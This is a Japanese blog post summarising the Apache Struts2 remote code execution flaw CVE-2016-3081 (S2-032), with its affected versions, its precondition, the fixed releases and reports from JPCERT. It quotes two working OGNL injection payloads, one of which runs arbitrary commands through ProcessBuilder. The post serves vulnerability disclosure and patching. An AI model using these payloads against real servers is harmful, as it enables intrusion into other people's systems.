ブログトップ 記事一覧 ログイン 無料ブログ開設

piyolog RSSフィード

2016-04-27

Apache Struts2 の脆弱性 (CVE-2016-3081)についてまとめてみた

| 00:31 |  Apache Struts2 の脆弱性 (CVE-2016-3081)についてまとめてみたを含むブックマーク

Apache Software Foundationは2016年4月19日に脆弱性情報 S2-032と修正版を公開しました。ここでは関連情報をまとめます。

Apache 公開情報

  • S2-032 — Remote Code Execution can be performed via method: prefix when Dynamic Method Invocation is enabled.

脆弱性概要

対象Apache Struts2
CVECVE-2016-3081
影響RCE
重要度High
PoCPoC公開あり。
攻撃パケット観測済。
CVSS(v3)7.3(Base)
発見者dbappsecurity(杭州安恒)
脆弱性情報
攻撃パケットの観測
脆弱性の影響説明

It is possible to pass a malicious expression which can be used to execute arbitrary code on server side when Dynamic Method Invocation is enabled.

http://struts.apache.org/docs/s2-032.html

開発元によると、当該脆弱性が悪用された場合、サーバ上で遠隔から任意のコードを実行させることが可能であるとされています

http://www.npa.go.jp/cyberpolice/detect/pdf/20160427.pdf

影響範囲

次のApache Strutsのバージョンが影響を受ける。Struts1系が影響を受けるかは不明。

  • 2.3.20 〜 2.3.28(2.3.20.3、2.3.24.3は対象外。)
攻撃前提条件「DMIの有効化」が必要

有効化しているかはstruts.xml等で確認できる。

struts.enable.DynamicMethodInvocation = false

対策

Apache Strutsを次のバージョンへ更新をする。

  • 2.3.20.3
  • 2.3.24.3
  • 2.3.28.1

影響調査

PoC

PoCをJPCERT/CCが検証している。

脆弱性の実証コードがすでに公開されており、JPCERT/CC にて実証コードを用いて検証した結果、Struts アプリケーションを実行しているアプリケーションサーバの実行権限で任意のコードが実行されることを確認しました。

http://www.jpcert.or.jp/at/2016/at160020.html

またNSFOCUSが公開した脆弱性解説より、次のPoCを確認した。

hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

http://drops.wooyun.org/papers/15430
オンラインスキャナ

dbappsecurity(脆弱性を報告した企業)がオンラインスキャナーを公開している。

f:id:Kango:20160428001115p:image:w360

スキャナーと名の付く通り、実行すると実際にExploitが対象に送信されている。

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0.getWriter%28%29.println%28%23parameters.content[0]%29,1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Qr4AQgCHpj

ExploitTool

簡単にExploitができるツールも既に公開されている模様。

f:id:Kango:20160428000805p:image:w360

f:id:Kango:20160428165309p:image:w400

デモ動画

謝辞

このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。

  • AJさん